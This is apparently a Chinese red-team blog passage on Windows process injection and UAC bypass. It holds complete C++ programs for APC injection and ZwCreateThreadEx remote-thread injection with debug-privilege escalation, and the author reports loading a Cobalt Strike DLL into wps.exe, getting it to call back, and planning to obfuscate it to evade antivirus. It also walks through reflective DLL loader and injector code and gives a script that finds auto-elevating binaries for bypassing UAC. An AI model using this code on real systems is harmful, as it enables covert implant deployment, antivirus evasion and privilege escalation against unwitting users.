            printf("Success to Inject APC\n");
            return TRUE;
        }
        else
        {
            printf("Inject may be failed\n");
            return FALSE;
        }
    }
    int main()
    {
        ULONG32 ulProcessID = 0;
        printf("Input the Process ID:");
        cin >> ulProcessID;
        CHAR wzDllFullPath[MAX_PATH] = { 0 };
        LPDWORD pThreadIdList = NULL;
        DWORD dwThreadIdListLength = 0;
    
    #ifndef _WIN64
        strcpy_s(wzDllFullPath, "D:\\tmp\\beacon.dll");
    #else // _WIN64
        strcpy_s(wzDllFullPath, "D:\\tmp\\beacon.dll");
    #endif
        if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
        {
            printf("Can not list the threads\n");
            exit(0);
        }
        //打开句柄
        HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
    
        if (hProcess == NULL)
        {
            printf("Failed to open Process\n");
            return FALSE;
        }
    
        //注入
        if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
        {
            printf("Failed to inject DLL\n");
            return FALSE;
        }
        return 0;
    }
    
  • 突破 session 0 的远程线程注入


    利用了 ZwCreateThreadEx 这个函数,ZwCreateThreadEx 是 CreateRemoteThread 的底层实现。在 windows 内核 6.0 (win7,8 之后)引入了会话隔离机制,创建一个进程之后不会立即运行,而是先挂起进程,再查看要运行进程所在的会话层再决定是否恢复进程运行。
    再 windows XP,windows server 2003 包括之前的版本中,服务和应用程序使用相同的会话(session)运行,这个 session 由第一个登录到控制台的用户启动,也就是 session 0。把服务和用户程序都放在 session 0 中运行存在安全风险,因为服务的权限通常会高于用户权限,这样的话如果用户劫持了某个服务,就可以提权。
    从 Windows Vista 开始,只有服务可以托管到 session 0 中,而用户程序则会创建在用户对应的 session 中。
    image-20220405195020621
    需要用到的 api:
    ZwCreateThreadEx(32 位)
    DWORD WINAPI ZwCreateThreadEx(
             PHANDLE ThreadHandle,
             ACCESS_MASK DesiredAccess,
             LPVOID ObjectAttributes,
             HANDLE ProcessHandle,
             LPTHREAD_START_ROUTINE lpStartAddress,
             LPVOID lpParameter,
             BOOL CreateSuspended,
             DWORD dwStackSize,
             DWORD dw1,
             DWORD dw2,
             LPVOID pUnkown);
    

    ZwCreateThreadEx(64 位)
    DWORD WINAPI ZwCreateThreadEx(
             PHANDLE ThreadHandle,
             ACCESS_MASK DesiredAccess,
             LPVOID ObjectAttributes,
             HANDLE ProcessHandle,
             LPTHREAD_START_ROUTINE lpStartAddress,
             LPVOID lpParameter,
             ULONG CreateThreadFlags,
             SIZE_T ZeroBits,
             SIZE_T StackSize,
             SIZE_T MaximumStackSize,
             LPVOID pUnkown);
    

    进入 session 0 还需要用到几个提权的函数
    OpenProcessToken
    BOOL OpenProcessToken(
    __in HANDLE ProcessHandle, //要修改访问权限的进程句柄
    __in DWORD DesiredAccess, //指定你要进行的操作类型
    __out PHANDLE TokenHandle //返回的访问令牌指针
    );
    

    LookupPrivilegeValueA
    BOOL LookupPrivilegeValueA(
      LPCSTR lpSystemName, //要查看的系统,本地系统直接用NULL
      LPCSTR lpName,    //指向一个以零结尾的字符串,指定特权的名称
      PLUID  lpLuid     //用来接收所返回的制定特权名称的信息
    );
    

    AdjustTokenPrivileges
    BOOL AdjustTokenPrivileges(
        HANDLE TokenHandle, //包含特权的句柄
        BOOL DisableAllPrivileges,//禁用所有权限标志
        PTOKEN_PRIVILEGES NewState,//新特权信息的指针(结构体)
        DWORD BufferLength, //缓冲数据大小,以字节为单位的PreviousState的缓存区(sizeof)
        PTOKEN_PRIVILEGES PreviousState,//接收被改变特权当前状态的Buffer
        PDWORD ReturnLength //接收PreviousState缓存区要求的大小
    );
    

    实现过程:
    这次是要注入系统权限的 exe,需要用到 debug 权限,首先要提权:
    // 提权函数
    BOOL EnableDebugPrivilege()
    {
        HANDLE hToken;
        BOOL fOk = FALSE;
        if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
        {
            TOKEN_PRIVILEGES tp;
            tp.PrivilegeCount = 1;
            LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
    
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    
            fOk = (GetLastError() == ERROR_SUCCESS);
            CloseHandle(hToken);
        }
        return fOk;
    
    }
    

    之前获得回显都是用 MessageBox 弹一个窗口,但系统程序不能现实程序的窗体,这里用一个 ShowError 获取错误码。
    void ShowError(const char* pszText)
    {
        char szError[MAX_PATH] = { 0 };
        ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
        ::MessageBox(NULL, szError, "ERROR", MB_OK);
    }
    

    然后和远程线程注入的流程相同,获取句柄,申请内存,写入内存,获取函数地址,创建远程线程。不同的是 ZwCreateThreadEx 在 ntdll.dll 中没有声明,所以需要使用 GetProcAddress 从 ntdll.dll 中获取该函数的导出地址。
    完整代码:
    #include <Windows.h>
    #include <stdio.h>
    #include <iostream>
    
    #ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);
    #else
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);
    #endif
    
    void ShowError(const char* pszText)
    {
        char szError[MAX_PATH] = { 0 };
        ::wsprintfA(szError, "%s Error[%d]\n", pszText, ::GetLastError());
        ::MessageBoxA(NULL, szError, "ERROR", MB_OK);
    }
    
    // 提权函数
    BOOL EnableDebugPrivilege()
    {
        HANDLE hToken;
        BOOL fok = FALSE;
        if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
        {
            TOKEN_PRIVILEGES tp;
            tp.PrivilegeCount = 1;
            LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
    
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    
            fok = (GetLastError() == ERROR_SUCCESS);
            CloseHandle(hToken);
        }
        return fok;
    }
    
    // 使用 zwCreateThreadEx 实现远线程注入
    BOOL ZwCreateThreadExInjectDll(DWORD PID, const char* pszDllFileName)
    {
        HANDLE hProcess = NULL;
        SIZE_T dwSize = 0;
        LPVOID pDllAddr = NULL;
        FARPROC pFuncProcAddr = NULL;
        HANDLE hRemoteThread = NULL;
        DWORD dwStatus = 0;
    
        EnableDebugPrivilege();
    
        // 打开注入进程,获取进程句柄
        hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
        if (hProcess == NULL)
        {
            printf("OpenProcess - Error!\n\n");
            return -1;
        }
        
        // 在注入的进程中申请内存
        dwSize = ::lstrlenA(pszDllFileName) + 1;
        pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
        if (NULL == pDllAddr)
        {
            ShowError("VirtualAllocEx - Error!\n\n");
            return FALSE;
        }
    
        // 写入内存地址
        if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
        {
            ShowError("WriteProcessMemory - Error!\n\n");
            return FALSE;
        }
    
        // 加载 dll
        HMODULE hNtdllDll = ::LoadLibraryA("ntdll.dll");
        if (NULL == hNtdllDll)
        {
            ShowError("LoadLirbary");
            return FALSE;
        }
    
        // 获取 LoadLibraryA 函数地址
        pFuncProcAddr = ::GetProcAddress(::GetModuleHandleA("Kernel32.dll"), "LoadLibraryA");
        if (NULL == pFuncProcAddr)
        {
            ShowError("GetProcAddress_LoadLibraryA - Error!\n\n");
            return FALSE;
        }
    
        // 获取 ZwCreateThreadEx 函数地址
        typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
        if (NULL == ZwCreateThreadEx)
        {
            ShowError("GetProcAddress_ZwCreateThread - Error!\n\n");
            return FALSE;
        }
    
        // 使用 ZwCreateThreadEx 创建远程线程,实现 dll 注入
        dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
        if (NULL == ZwCreateThreadEx)
        {
            ShowError("ZwCreateThreadEx - Error!\n\n");
            return FALSE;
        }
        
        // 关闭句柄
        ::CloseHandle(hProcess);
        ::FreeLibrary(hNtdllDll);
    
        return TRUE;
    }
    
    int main(int argc, char* argv[])
    {
        // dll 换成 cs 的 dll,pid 换成被注入进程的 pid
    #ifdef _WIN64
        BOOL bRet = ZwCreateThreadExInjectDll(58808, "D:\\tmp\\artifact.dll");
    #else 
        BOOL bRet = ZwCreateThreadExInjectDll(58808, "D:\\tmp\\artifact.dll");
    #endif
        if (FALSE == bRet)
        {
            printf("Inject Dll Error!\n\n");
        }
        printf("Inject Dll OK!\n\n");
        return 0;
    }
    

    这里选择注入 wps.exe 进程,dll 用 cs 生成,运行程序直接上线(联想电脑管家报了,后续可以考虑对这个 dll 做混淆)
    tasklist /svc | findstr "wps.exe"
    

    image-20220405221729546
  • 反射 dll 注入


    常规 dll 注入的一个缺陷就是需要恶意 dll 以文件的形式存储到受害主机上,会留下痕迹,容易被检测到,而反射 dll 注入可以是恶意的 dll 通过 socket 等方式传输到目标进程,无文件落地。
    反射 dll 注入的流程和普通的远程线程注入流程相似,不同之处在于加载 dll 方式,是通过自己实现的一个 reflective loader() 函数来代替 LoadLibraryA() 去加载 dll,Reflective loader 实现思路如下:
    1.获得被注入进程未解析的 dll 的基地址
    2.获得必要的 dll 句柄和函数为修复导入表做准备
    3.分配一块新内存去解析 dll,并把 PE 头复制和各节到新内存中
    4.修复导入表和重定向表
    5.执行 dllmain() 函数
    

    图中红框中的行为:
    image-20220406170808728
    meterpreter 连上之后可以用 migrate 命令迁移进程,实现的原理就是反射型 dll 注入,migrate 模块的 reflective loader 直接服用了 https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.c 中的 ReflectiveLoader() 函数。
    关于 migrate 的实现,前半部分就是之前文章中写过的 msf ?的实现过程,在 msf?收到 migrate 和 payload 之后,首先向被迁移的目标进程分配一块内存,并会创建远程执行 migrate stub,如果失败了,就会尝试用 apc 注入的方式执行 migrate stub,migrate stub 会调用 meterpreter loader,meterpreter loader 调用 reflective loader 进行反射式 dll 注入。
    image-20220406183932689
    静态分析:

    (PE 文件结构不是很熟,只是勉强能看懂,这里基本都是引用参考文献)
    • Step 0: 计算基地址
      首先调用 caller 函数,这个函数是对 _ReturnAddress() 的封装。在这里是为了获取 caller 函数的下一条指令的地址
      uiLibraryAddress = caller();
      // 跟进查看
      __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
      

      然后向低地址逐字节查看是否有 dos头 的 MZ 字符串标识,若找到则把当前的地址认为是 dos 头结构体的开头,并校验 dos 头 e_lfanew 的成员是否指向 PE 头的标识字段(PE),如果两个校验都通过,则任务当前地址是 dos 头结构体的开头。
       while( TRUE )
          {
              // 将当前地址看作 dos 结构体的起始地址,看一下结构体的 e_magic 字段是否指向 MZ
              if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
              {
                  uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
                  if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
                  {
                      uiHeaderValue += uiLibraryAddress;
                      // 同样的道理,判断 uiHeaderValue 的 Signature 是否指向 PE 
                      if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
                          break;
                  }
              }
              uiLibraryAddress--;
          }
      
    • Step 1: 导出 loader 需要的 dll 句柄和函数地址
      首先是 dll 句柄,通过遍历 PEB 结构体中的 pLdr 中的 InMemoryOrderModuleList 链表获取 dll 名称,计算 hash 并进行对比
      uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
      uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
      
      while( uiValueA )
      {
              // 获得一个指向当前句柄的指针
              uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
              usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
              // 存储计算的 hash
              uiValueC = 0;
              // 计算 hash
              do
              {
                  uiValueC = ror( (DWORD)uiValueC );
      
                  if( *((BYTE *)uiValueB) >= 'a' )
                      uiValueC += *((BYTE *)uiValueB) - 0x20;
                  else
                      uiValueC += *((BYTE *)uiValueB);
                  uiValueB++;
              } while( --usCounter );
          // 和标准库中的函数 hash 进行比较
          if( (DWORD)uiValueC == KERNEL32DLL_HASH )
          {
              ...
          }
          else if( (DWORD)uiValueC == NTDLLDLL_HASH )
          {
              ...
          }
          uiValueA = DEREF( uiValueA );
      }
      
    • Step2 : 把 dll 映射到新开辟的内存
      在 Nt optional header 结构体中的 SizeOfImage 变量存储着 PE 文件在内存中解析后所占的内存大小,可以根据这个分配一块新的内存,然后按照 section headers 中的文件相对偏移和相对虚拟地址,将这个 PE 节一一映射到新开辟的内存中。
      // 根据 SizeOfImage 分配新内存
      uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
          uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
      
          uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
          uiValueB = uiLibraryAddress;
          uiValueC = uiBaseAddress;
          // 将所有的头和节表逐字节复制到新内存
          while( uiValueA-- )
              *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
      
    • Step 3: 加载这些节
       // 解析每一个节表项
          uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
          uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
          while( uiValueE-- )
          {
              // uiValueB is the VA for this section
              uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
      
              // uiValueC if the VA for this sections data
              uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
      
              // 将每一节的内容复制到新内存对应的位置
              uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
      
              while( uiValueD-- )
                  *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
      
              // get the VA of the next section
              uiValueA += sizeof( IMAGE_SECTION_HEADER );
          }
      
    • Step 4:加载导入表
      因为被注入的 dll 还可能依赖于其他的 dll,所以还需要装载这些被依赖的 dll,并修改当前 dll 的导入表,是这些被导入的函数能正常运行。
      PE 文件的导入表是一个元素为 IMAGE_IMPORT_DESCRIPTOR 的数组,每一个被依赖的 dll 都对应着数组中的一个元素。
      image-20220406212739617
      首先根据导入表结构,找到导入函数所在的 dll 名称,然后使用 Loadlibrary() 函数载入 dll,根据函数的序号或名称,载入到 dll 导出表中,通过 hash 对比,把要用到的函数地址写入新内存的 IAT 表中。
       uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
          
          // uiValueC 是第一个导入函数
          uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
          
          while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
          {
              // 使用 LoadLibraryA 函数加载对应的 dll
              uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
      
              uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
              // IAT 表
              uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
      
              while( DEREF(uiValueA) )
              {
                  // 如果是根据函数编号导入的
                  if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
                  {
                      uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
      
                      uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
      
                      uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
      
                      uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
      
                      uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
      
                      // 将对应的导入函数地址写入 IAT 表
                      DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
                  }
                  else    // 如果导入函数通过名称导入
                  {
                      uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
      
                      DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
                  }
                  uiValueA += sizeof( ULONG_PTR );
                  if( uiValueD )
                      uiValueD += sizeof( ULONG_PTR );
              }
      
              // 获得下一个导入函数的地址
              uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
          }
      
    • Step 5:加载重定向表
      被注入的 DLL 中只有 ReflectiveLoader 中的代码故意写成与地址无关的,其他部分的代码都需要重定向才能运行。重定向表是为了解决程序指定的 imagebase 被占用的情况下,程序使用绝对地址访问错误的情况。比如当引用全局变量的时候会用到绝对地址,这时候需要去修正对应内存的汇编指令。
      PE 中的 DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC] 头指向了重定向表:
      typedef struct _IMAGE_BASE_RELOCATION {
          DWORD   VirtualAddress;
          DWORD   SizeOfBlock;
      //  WORD    TypeOffset[1];
      } IMAGE_BASE_RELOCATION;
      typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;
      

      image-20220406212313693
      其中,Typeoffset 的高 4 位代表重定位类型(一般为 3),低 12 表示重定向地址,这个地址和 IMAGE_BASE_RELOCATION 中的 VirtualAddress 加起来则指向一个需要重定位的指令。
      具体重定向的过程中,首先计算得到的基地址的偏移量,也就是实际的 DLL 加载地址减去 DLL 的推荐加载地址。最后将 VirtualAddress 和 Typeoffset 组册灰姑娘的地址所指向的双字加上这个偏移量,就完成了重定位。
      *(DWORD*)(VirtualAddress + Typeoffset的低12位) += (实际DLL加载地址 – 推荐DLL加载地址)
      

      实现:
      uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
      uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
      // 如果重定向表的值不为 0,则修正重定向节
      if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
      {
          uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
          uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
          while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
          {
              uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
              uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
              uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
              // 根据不同的标识,修正每一项对应地址的值
              while( uiValueB-- )
              {
                  if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
                      *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
                  else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
                      *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
                  else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
                      *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
                  else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
                      *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
                  uiValueD += sizeof( IMAGE_RELOC );
              }
              uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
              uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
          }
      }
      
    • Step 6:调用 dll 入口点
      调用 NtFlushInstructionCache 清除指令缓存,最后 ReflectiveLoader 将控制权转交给 DLL 文件的入口点(通过 AddressOfEntryPoint 确认) 。
       uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
      
          pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
      
      #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
          ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
      #else
          ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
      #endif
      
          return uiValueA;
      

    动态调试:

    (windbg 用不熟,之后再补)
    注入过程:

    前面都是分析的 ReflectiveLoader 的实现流程,下面看一下 Inject 的具体实现。相关代码在 Inject.c 中
    首先解析传入参数,调用 CreateFileA 加载 reflective_dll 得到 dll 句柄
         hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
            if( hFile == INVALID_HANDLE_VALUE )
                BREAK_WITH_ERROR( "Failed to open the DLL file" );
    

    然后获得 reflective_dll 文件的大小,并为其分配一块内存
         dwLength = GetFileSize( hFile, NULL );
            if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
                BREAK_WITH_ERROR( "Failed to get the DLL file size" );
    
            lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
            if( !lpBuffer )
                BREAK_WITH_ERROR( "Failed to get the DLL file size" );
    

    之后将 reflective_dll 读入进程内存空间
         if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
                BREAK_WITH_ERROR( "Failed to alloc a buffer!" );
    

    然后提权
         if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
            {
                priv.PrivilegeCount           = 1;
                priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            
                if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
                    AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );
    
                CloseHandle( hToken );
            }
    

    之后就是注入的过程,打开目标进程并用 LoadRemoteLibraryR 实现 dll 注入
         hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
            if( !hProcess )
                BREAK_WITH_ERROR( "Failed to open the target process" );
    
            hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
            if( !hModule )
                BREAK_WITH_ERROR( "Failed to inject the DLL" );
    
            printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
    

    跟进实现的具体实现 LoadRemoteLibraryR,首先获得 ReflectiveLoader 的偏移
             dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
                if( !dwReflectiveLoaderOffset )
                    break;
    

    然后再被注入进程中分配一段 rwx 的内存,把 dll 的映像写入进程
             lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 
                if( !lpRemoteLibraryBuffer )
                    break;
                if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
                    break;
    

    截止就可以用 CreateRemoteThread 创建远程线程并执行 ReflectiveLoader
             lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
    
                hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
    
  • 参考文献


  • UAC 的实现与触发


    用户帐户控制(User Account Control) 是 Windows Vista 之后的版本引进的一种机制。通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。
    其实就是使用权限提升操作的时候弹出的提示框,如果当前用户所在的用户组没有管理员权限,则需要输入管理员密码(类似 linux 中的 sudo 命令)
    image-20220327130140443
    其中,如果想获取管理员权限,也就是让程序在特权级下运行,实现的方式有以下几种:
    通过run as administer/ 在shell中执行run as
    未启用UAC
    进程拥有管理权限控制
    进程被用户允许通过管理员权限运行
    

    会触发 UAC 的具体操作(部分,更多的在这 https://en.wikipedia.org/wiki/User_Account_Control#Tasks_that_trigger_a_UAC_prompt):
    配置 Windows Update
    增加或删除用户账户(!)
    改变用户的账户类型(!)
    改变UAC设置(!)
    安装ActiveX
    安装或移除程序(!)
    设置家长控制
    将文件移动或复制到 Program Files 或 Windows 目录
    查看其他用户文件夹(!)
    

    触发 UAC 的过程:
    1.创建一个 consent.exe 进程,该进程通过程序白名单和用户权限,判断是否创建管理员进程。
    2.通过 creatprocess 请求进程,将要请求的进程 cmdline 和进程路径通过 LPC 接口传递给 appinfo 的 RAiLuanchAdminProcess 函数。
    3.RAiLuanchAdminProcess 首先会检验路径是否在白名单中,并将结果传递给 consent.exe 进程。
    4.consent.exe 根据被请求的进程签名以及发起者的权限是否符合要求,决定是否弹出 UAC 框。(这个 UAC 框进程是 SYSTEM 权限,其他普通用户进程无法与其进行通信交互)
    5.用户确认之后,就会调用 CreateProcessAsUser 函数以管理员权限启动请求的进程。
    
  • 利用 Shell API


    UAC 在 vs 中具体的设置:
    image-20220327131347251
    aslnvoker 默认权限
    highestAvailable 最高权限
    requireAdministrator 必须是管理员权限
    

    如果编译设置了 requireAdministrator,用户运行程序后,可以在不触发 UAC 的情况下获得管理员权限的会话。
    首先要知道哪些程序是在白名单中,要符合的要求有这些:
    1. 程序的manifest标识的配置属性 autoElevate 为 true(启动时就静默提升权限)。
    2.程序不弹出UAC弹窗
    3.从注册表里查询 Shell\Open\command 键值对
    

    用 sigcheck64 过滤一下标识属性 autoElevate 为 true 的属性(脚本来自 mathwizard 师傅)
    import os
    from subprocess import *
    
    path = "C:\\Windows\\System32"
    files = os.listdir(path)
    print(files)
    
    def GetFileList(path, fileList):
        newDir = path
        if os.path.isfile(path):
            if path[-4:] == ".exe":
                fileList.append(path)
        elif os.path.isdir(path):
            try:
                for s in os.listdir(path):
                    newDir = os.path.join(path, s)
                    GetFileList(newDir, fileList)
            except Exception as e:
                pass
        return fileList
    
    files = GetFileList(path, [])
    print(files)
    
    for eachFile in files:
        if eachFile[-4:] == ".exe":
            command = r"D:\\tools\\tool\\SysinternalsSuite\sigcheck64.exe -m {} | findstr auto".format(eachFile)
            print(command)
            p1 = Popen(command, shell=True, stdin=PIPE, stdout=PIPE)
            if '<autoElevate>true</autoElevate>' in p1.stdout.read().decode('gb2312'):
                copy_command = r'copy {} .\success'.format(eachFile)
                Popen(copy_command, shell=True, stdin=PIPE, stdout=PIPE)
                print('[+] {}'.format(eachFile))
                with open('success.txt', 'at') as f:
                    f.writelines('{}\n'.format(eachFile))
    

    最后得到符合条件的程序清单,然后手动测试哪个不会弹 UAC,这里找到 ComputerDefaults.exe 程序,用于设置默认应用界面。
